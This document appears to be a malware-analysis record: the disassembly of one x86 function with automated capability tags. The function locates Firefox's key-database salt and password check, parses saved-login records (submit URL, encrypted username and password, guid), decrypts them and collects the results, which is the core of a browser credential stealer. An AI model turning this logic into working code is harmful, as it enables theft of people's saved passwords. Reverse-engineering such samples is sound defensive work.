Function at 0x63085fa4
Capabilities:
Contain obfuscated stackstrings
Read file on windows

Disassembly:
push ebp
mov eax, 0x1c8c
mov ebp, esp
push edi
push esi
push ebx
call fcn.630a6c70
sub esp, eax
cmp dword [ebp + 8], 0
je 0x63085ffb
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sub.msvcrt.dll_wcslen
test eax, eax
jne 0x6308600a
jmp 0x63085ffb
mov al, byte [edi + str.global_salt]
mov edx, esi
cmp al, dl
je 0x63086026
cmp al, 0x2a
je 0x63086026
xor edi, edi
mov dword [esp], ebx
call sub.msvcrt.dll_fgetc
mov dword [esp], ebx
mov esi, eax
call sub.msvcrt.dll_feof
test eax, eax
mov dword [ebp - 0x1c6c], eax
je 0x63085fcd
mov dword [ebp - 0x1c6c], 0
jmp 0x63086a8b
mov eax, dword [ebp + 8]
mov dword [esp + 4], 0x630c4232
mov dword [esp], eax
call dword [sym.imp.msvcrt.dll__wfopen]
test eax, eax
mov ebx, eax
jne 0x63085fdd
jmp 0x63085ffb
cmp edi, 0xa
jne 0x630862b3
mov dword [esp], ebx
call sub.msvcrt.dll_fgetc
mov dword [esp], ebx
call sub.msvcrt.dll_fgetc
mov dword [esp], ebx
mov esi, eax
call sub.msvcrt.dll_fgetc
cmp esi, 0xfe
ja 0x6308605b
test esi, esi
je 0x6308629d
jmp 0x63086060
mov esi, 0xff
lea edi, [ebp - 0x1998]
mov dword [esp + 4], 0x630c4132
mov dword [esp], edi
call sub.msvcrt.dll_strcpy
mov dword [ebp - 0x1c74], edi
lea edi, [ebp - 0xfb9]
mov dword [ebp - 0x1c70], 0
cmp byte [ebp - 0x1998], 0
je 0x630860ab
mov eax, dword [ebp - 0x1c74]
mov dword [esp + 4], 0x630c41f9
mov dword [esp], eax
call sub.msvcrt.dll_strcat
mov dword [esp], ebx
call sub.msvcrt.dll_fgetc
mov dword [esp + 4], 0x630c4133
mov dword [esp + 8], eax
mov dword [esp], edi
call sub.msvcrt.dll_sprintf
lea eax, [ebp - 0x7e9]
mov dword [esp + 8], 2
mov dword [esp + 4], edi
mov dword [esp], eax
call fcn.6308205e
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x1c74]
mov dword [esp], eax
call sub.msvcrt.dll_strcat
inc dword [ebp - 0x1c70]
cmp dword [ebp - 0x1c70], esi
jl 0x6308608c
mov eax, 0xffffffde
mov dword [esp + 8], 1
mov dword [esp], ebx
sub eax, esi
lea esi, [ebp - 0x1a38]
lea edi, [ebp - 0xfb9]
mov dword [esp + 4], eax
call sub.msvcrt.dll_fseek
mov dword [esp + 4], 0x630c4132
mov dword [esp], esi
call sub.msvcrt.dll_strcpy
mov dword [ebp - 0x1c70], 0x14
cmp byte [ebp - 0x1a38], 0
je 0x6308615b
mov dword [esp + 4], 0x630c41f9
mov dword [esp], esi
call sub.msvcrt.dll_strcat
mov dword [esp], ebx
call sub.msvcrt.dll_fgetc
mov dword [esp + 4], 0x630c4133
mov dword [esp + 8], eax
mov dword [esp], edi
call sub.msvcrt.dll_sprintf
lea eax, [ebp - 0x7e9]
mov dword [esp + 8], 2
mov dword [esp + 4], edi
mov dword [esp], eax
call fcn.6308205e
mov dword [esp], esi
mov dword [esp + 4], eax
call sub.msvcrt.dll_strcat
dec dword [ebp - 0x1c70]
jne 0x63086142
cmp byte [ebp - 0x1a38], 0
je 0x6308629d
cmp byte [ebp - 0x1998], 0
je 0x6308629d
xor edi, edi
mov dword [esp], ebx
call sub.msvcrt.dll_fgetc
mov dword [esp], ebx
mov esi, eax
call sub.msvcrt.dll_feof
test eax, eax
jne 0x6308629d
mov al, byte [edi + str.password_check]
cmp al, 0x2a
je 0x630861eb
mov edx, esi
cmp al, dl
jne 0x630861bf
cmp edi, 0xd
jne 0x63086297
lea esi, [ebp - 0x1ab8]
mov dword [esp + 8], 1
mov dword [esp + 4], 0xffffffe2
mov dword [esp], ebx
lea edi, [ebp - 0xfb9]
call sub.msvcrt.dll_fseek
mov dword [esp + 4], 0x630c4132
mov dword [esp], esi
call sub.msvcrt.dll_strcpy
mov dword [ebp - 0x1c70], 0x10
cmp byte [ebp - 0x1ab8], 0
je 0x6308624b
mov dword [esp + 4], 0x630c41f9
mov dword [esp], esi
call sub.msvcrt.dll_strcat
mov dword [esp], ebx
call sub.msvcrt.dll_fgetc
mov dword [esp + 4], 0x630c4133
mov dword [esp + 8], eax
mov dword [esp], edi
call sub.msvcrt.dll_sprintf
lea eax, [ebp - 0x7e9]
mov dword [esp + 8], 2
mov dword [esp + 4], edi
mov dword [esp], eax
call fcn.6308205e
mov dword [esp], esi
mov dword [esp + 4], eax
call sub.msvcrt.dll_strcat
dec dword [ebp - 0x1c70]
jne 0x63086232
jmp 0x6308629d
inc edi
jmp 0x630861c1
mov dword [esp], ebx
call sub.msvcrt.dll_fclose
cmp byte [ebp - 0x1a38], 0
jne 0x630862b9
jmp 0x63085ffb
inc edi
jmp 0x63085fdf
cmp byte [ebp - 0x1998], 0
je 0x63085ffb
lea edx, [ebp - 0x1c32]
lea esi, [ebp - 0x1998]
lea ebx, [ebp - 0x17a4]
mov dword [esp + 4], 0x3c
mov dword [esp], edx
mov dword [esp + 8], esi
mov edi, ebx
mov dword [ebp - 0x1c70], edx
call fcn.63083b48
mov dword [esp], ebx
mov dword [esp + 4], 0x630c4132
call sub.msvcrt.dll_strcpy
xor eax, eax
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov dword [esp + 4], ebx
lea ebx, [ebp - 0x15b0]
mov dword [esp + 0x14], 2
not ecx
mov dword [esp + 0x10], 1
mov dword [esp + 0xc], 0x630c41f9
dec ecx
mov dword [esp], ebx
lea edi, [ebp - 0x1b7b]
mov dword [esp + 8], ecx
call fcn.6308217d
mov dword [esp + 8], ebx
lea eax, [ebp - 0x1a38]
lea ebx, [ebp - 0x1bf5]
mov dword [esp + 4], eax
mov dword [esp], ebx
call fcn.63083bb4
mov dword [esp + 4], ebx
lea ebx, [ebp - 0x1bb8]
mov dword [esp + 8], esi
mov dword [esp], ebx
call fcn.63083bb4
mov edx, dword [ebp - 0x1c70]
lea eax, [ebp - 0x7e9]
mov dword [esp + 4], ebx
mov dword [esp + 0xc], esi
mov dword [esp], eax
mov dword [esp + 8], edx
call fcn.63083d31
mov edx, dword [ebp - 0x1c70]
mov dword [esp + 4], ebx
mov dword [esp + 0xc], 0
mov dword [esp], edi
mov dword [esp + 8], edx
call fcn.63083d31
mov dword [esp + 4], ebx
lea ebx, [ebp - 0x1b3e]
mov dword [esp + 0xc], esi
mov dword [esp + 8], edi
mov dword [esp], ebx
call fcn.63083d31
cmp byte [ebp - 0x7e9], 0
je 0x63085ffb
cmp byte [ebp - 0x1b3e], 0
je 0x63085ffb
lea edi, [ebp - 0x7e9]
xor eax, eax
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov edi, ebx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not edx
not ecx
lea eax, [edx + ecx + 0x10]
shr eax, 4
shl eax, 4
call fcn.630a6c70
xor edi, edi
sub esp, eax
lea eax, [ebp - 0x7e9]
lea esi, [esp + 0x20]
mov dword [esp + 4], eax
mov dword [esp], esi
call sub.msvcrt.dll_strcpy
mov dword [esp + 4], 0x630c41f9
mov dword [esp], esi
call sub.msvcrt.dll_strcat
mov dword [esp + 4], ebx
lea ebx, [ebp - 0x1b01]
mov dword [esp], esi
call sub.msvcrt.dll_strcat
mov dword [esp + 4], 0x630c4132
mov dword [esp], ebx
call sub.msvcrt.dll_strcpy
movsx eax, byte [esi + edi + 1]
mov dword [esp + 0xc], eax
movsx eax, byte [esi + edi]
add edi, 3
mov dword [esp + 4], str._c_c
mov dword [esp + 8], eax
lea eax, [ebp - 0x1c5f]
mov dword [esp], eax
call sub.msvcrt.dll_sprintf
lea eax, [ebp - 0x1c5f]
mov dword [esp], ebx
mov dword [esp + 4], eax
call sub.msvcrt.dll_strcat
cmp edi, 0x48
je 0x630864ae
mov dword [esp + 4], 0x630c41f9
mov dword [esp], ebx
call sub.msvcrt.dll_strcat
jmp 0x6308645b
lea ebx, [ebp - 0x1c4b]
mov dword [esp + 4], 0x630c4132
mov edi, esi
mov dword [esp], ebx
call sub.msvcrt.dll_strcpy
xor eax, eax
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
lea eax, [ecx - 1]
mov dword [ebp - 0x1c74], eax
lea eax, [ecx - 0x18]
mov dword [ebp - 0x1c78], eax
mov eax, dword [ebp - 0x1c74]
lea edi, [esi + eax]
mov eax, dword [ebp - 0x1c78]
lea esi, [ebp - 0x1c5f]
mov dword [ebp - 0x1c70], eax
mov edx, dword [ebp - 0x1c74]
cmp dword [ebp - 0x1c70], edx
jae 0x63086568
mov ecx, dword [ebp - 0x1c78]
cmp dword [ebp - 0x1c70], ecx
je 0x63086528
mov dword [esp + 4], 0x630c41f9
mov dword [esp], ebx
call sub.msvcrt.dll_strcat
movsx eax, byte [edi - 0x16]
add edi, 3
mov dword [esp + 0xc], eax
movsx eax, byte [edi - 0x1a]
mov dword [esp + 4], str._c_c
mov dword [esp], esi
mov dword [esp + 8], eax
call sub.msvcrt.dll_sprintf
mov dword [esp + 8], 2
mov dword [esp + 4], esi
mov dword [esp], ebx
call sub.msvcrt.dll_strncat
add dword [ebp - 0x1c70], 3
jmp 0x630864fc
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sub.msvcrt.dll_wcslen
test eax, eax
je 0x630865e0
cmp byte [ebp - 0x1ab8], 0
je 0x630865e0
lea eax, [ebp - 0x13bc]
lea ebx, [ebp - 0xfb9]
mov dword [ebp - 0x13bc], 0
mov dword [esp + 0x10], eax
lea eax, [ebp - 0x1c4b]
mov dword [esp + 4], ebx
mov dword [esp + 0xc], eax
lea eax, [ebp - 0x1b01]
mov dword [esp + 8], eax
lea eax, [ebp - 0x1ab8]
mov dword [esp], eax
call fcn.63083808
mov dword [esp + 8], 0xe
mov dword [esp + 4], str.password_check
mov dword [esp], ebx
call sub.msvcrt.dll_strncmp
test eax, eax
jne 0x63086a8b
cmp byte [0x631e3ae0], 0
je 0x630866a1
cmp dword [ebp + 0xc], 0
mov dword [ebp - 0x1c58], 0
mov dword [ebp - 0x1c54], 4
je 0x630866a1
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call sub.msvcrt.dll_wcslen
test eax, eax
je 0x630866a1
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call fcn.63081607
test eax, eax
je 0x630866a1
lea eax, [ebp - 0x1c54]
mov dword [esp + 0xc], eax
lea eax, [ebp - 0x1c58]
mov dword [esp + 8], eax
lea eax, [ebp - 0x1c5c]
mov dword [esp + 4], eax
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call fcn.63081a35
cmp dword [ebp - 0x1c58], 0
je 0x6308668f
lea ebx, [ebp - 0x13bc]
mov dword [ebp - 0x1c50], 0
xor edi, edi
cmp edi, dword [ebp - 0x1c58]
jb 0x63086935
mov eax, dword [ebp - 0x1c50]
test eax, eax
je 0x6308668f
mov dword [esp], eax
call sub.msvcrt.dll_free
mov eax, dword [ebp - 0x1c5c]
test eax, eax
je 0x630866a1
mov dword [esp], eax
call sub.msvcrt.dll_free
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x1c50], 0
mov dword [esp + 4], 0x630c412e
mov dword [esp], eax
call dword [sym.imp.msvcrt.dll__wfopen]
test eax, eax
mov esi, eax
je 0x6308691b
mov dword [esp + 8], 2
mov dword [esp + 4], 0
mov dword [esp], eax
call sub.msvcrt.dll_fseek
mov dword [esp], esi
call sub.msvcrt.dll_ftell
mov dword [esp + 8], 0
mov ebx, eax
mov dword [esp + 4], 0
mov dword [esp], esi
call sub.msvcrt.dll_fseek
lea eax, [ebx + 1]
mov dword [esp], eax
call fcn.630b83d0
mov dword [esp + 8], ebx
lea ebx, [ebp - 0x13bc]
mov dword [esp + 0xc], esi
mov dword [esp + 4], 1
mov dword [esp], eax
mov edi, eax
call sub.msvcrt.dll_fread
mov dword [esp + 4], str.formSubmitURL
mov dword [esp], edi
call sub.msvcrt.dll_strstr
test eax, eax
je 0x63086901
lea edi, [eax + 0x10]
mov dword [esp + 4], str.usernameField
mov dword [esp], edi
call sub.msvcrt.dll_strstr
mov byte [eax - 3], 0
mov dword [esp + 4], edi
mov dword [esp], ebx
mov dword [ebp - 0x1c6c], eax
call sub.msvcrt.dll_strcpy
mov dword [esp + 4], 0x630c4454
mov dword [esp], ebx
call sub.msvcrt.dll_strcat
mov edx, dword [ebp - 0x1c6c]
mov dword [esp + 4], str.encryptedUsername
sub edx, 2
mov dword [esp], edx
call sub.msvcrt.dll_strstr
lea edi, [eax + 0x14]
mov dword [esp + 4], str.encryptedPassword
mov dword [esp], edi
call sub.msvcrt.dll_strstr
mov byte [eax - 3], 0
mov dword [ebp - 0x1c6c], eax
lea eax, [ebp - 0x17a4]
lea ecx, [ebp - 0x1c50]
mov dword [esp + 4], edi
lea edi, [ebp - 0xfb9]
mov dword [esp + 0x18], eax
lea eax, [ebp - 0x1a38]
mov dword [esp + 0x1c], 0
mov dword [esp + 8], ecx
mov dword [esp], edi
mov dword [esp + 0x14], eax
mov eax, dword [ebp + 8]
mov dword [esp + 0x10], 0
mov dword [ebp - 0x1c78], ecx
mov dword [esp + 0xc], eax
call fcn.630846a9
mov dword [esp + 4], edi
mov dword [esp], ebx
mov dword [ebp - 0x1c70], eax
call sub.msvcrt.dll_strcat
mov dword [esp + 4], 0x630c4454
mov dword [esp], ebx
call sub.msvcrt.dll_strcat
mov edx, dword [ebp - 0x1c6c]
mov dword [esp + 4], str.encryptedPassword
sub edx, 2
mov dword [esp], edx
call sub.msvcrt.dll_strstr
add eax, 0x14
mov dword [esp + 4], str.guid
mov dword [esp], eax
mov dword [ebp - 0x1c6c], eax
call sub.msvcrt.dll_strstr
mov byte [eax - 3], 0
mov dword [ebp - 0x1c74], eax
mov eax, dword [ebp - 0x1c70]
mov ecx, dword [ebp - 0x1c78]
mov dword [esp], edi
mov dword [esp + 0x10], 0
mov dword [esp + 0x1c], eax
lea eax, [ebp - 0x17a4]
mov dword [esp + 8], ecx
mov dword [esp + 0x18], eax
lea eax, [ebp - 0x1a38]
mov dword [esp + 0x14], eax
mov eax, dword [ebp + 8]
mov dword [esp + 0xc], eax
mov eax, dword [ebp - 0x1c6c]
mov dword [esp + 4], eax
call fcn.630846a9
mov dword [esp + 4], edi
mov dword [esp], ebx
call sub.msvcrt.dll_strcat
mov dword [esp + 4], 0x630c4456
mov dword [esp], ebx
call sub.msvcrt.dll_strcat
mov eax, dword [ebp + 0x14]
mov edx, dword [ebp - 0x1c74]
mov dword [esp + 4], ebx
mov dword [esp], 0
mov dword [esp + 8], eax
lea edi, [edx - 2]
call fcn.63085a10
test eax, eax
jns 0x6308672e
mov eax, dword [ebp + 0x14]
mov dword [esp + 4], ebx
mov dword [esp], eax
call sub.msvcrt.dll_strcat
jmp 0x6308672e
mov dword [esp], esi
call sub.msvcrt.dll_fclose
mov eax, dword [ebp - 0x1c50]
test eax, eax
je 0x6308691b
mov dword [esp], eax
call sub.msvcrt.dll_free
mov edi, dword [ebp + 0x14]
xor eax, eax
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
lea eax, [ecx - 1]
mov dword [ebp - 0x1c6c], eax
jmp 0x63086a8b
mov eax, dword [ebp - 0x1c54]
mov esi, dword [ebp - 0x1c5c]
imul eax, edi
lea ecx, [eax*4]
mov eax, dword [esi + eax*4]
mov dword [esp], ebx
mov dword [ebp - 0x1c6c], ecx
mov dword [esp + 4], eax
call sub.msvcrt.dll_strcpy
mov dword [esp + 4], 0x630c4454
mov dword [esp], ebx
call sub.msvcrt.dll_strcat
lea eax, [ebp - 0x17a4]
mov ecx, dword [ebp - 0x1c6c]
lea edx, [ebp - 0x1a38]
mov dword [esp + 0x1c], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x18], eax
mov eax, dword [ebp + 8]
mov dword [esp + 0x14], edx
mov dword [ebp - 0x1c70], edx
mov dword [esp + 0xc], eax
lea eax, [ebp - 0x1c50]
mov dword [esp + 8], eax
mov eax, dword [esi + ecx + 8]
lea esi, [ebp - 0xfb9]
mov dword [esp], esi
mov dword [esp + 4], eax
call fcn.630846a9
mov dword [esp + 4], esi
mov dword [esp], ebx
mov dword [ebp - 0x1c6c], eax
call sub.msvcrt.dll_strcat
mov dword [esp + 4], 0x630c4454
mov dword [esp], ebx
call sub.msvcrt.dll_strcat
lea eax, [ebp - 0x17a4]
mov edx, dword [ebp - 0x1c70]
mov ecx, dword [ebp - 0x1c6c]
mov dword [esp + 0x10], 0
mov dword [esp + 0x18], eax
mov eax, dword [ebp + 8]
mov dword [esp + 0x14], edx
mov edx, dword [ebp - 0x1c54]
mov dword [esp + 0x1c], ecx
mov dword [esp + 0xc], eax
lea eax, [ebp - 0x1c50]
imul edx, edi
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x1c5c]
mov eax, dword [eax + edx*4 + 0xc]
mov dword [esp], esi
mov dword [esp + 4], eax
call fcn.630846a9
mov dword [esp + 4], esi
mov dword [esp], ebx
call sub.msvcrt.dll_strcat
mov dword [esp + 4], 0x630c4456
mov dword [esp], ebx
call sub.msvcrt.dll_strcat
mov eax, dword [ebp + 0x14]
mov dword [esp + 4], ebx
mov dword [esp], 0
mov dword [esp + 8], eax
call fcn.63085a10
test eax, eax
jns 0x63086a85
mov eax, dword [ebp + 0x14]
mov dword [esp + 4], ebx
mov dword [esp], eax
call sub.msvcrt.dll_strcat
inc edi
jmp 0x63086671
mov eax, dword [ebp - 0x1c6c]
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret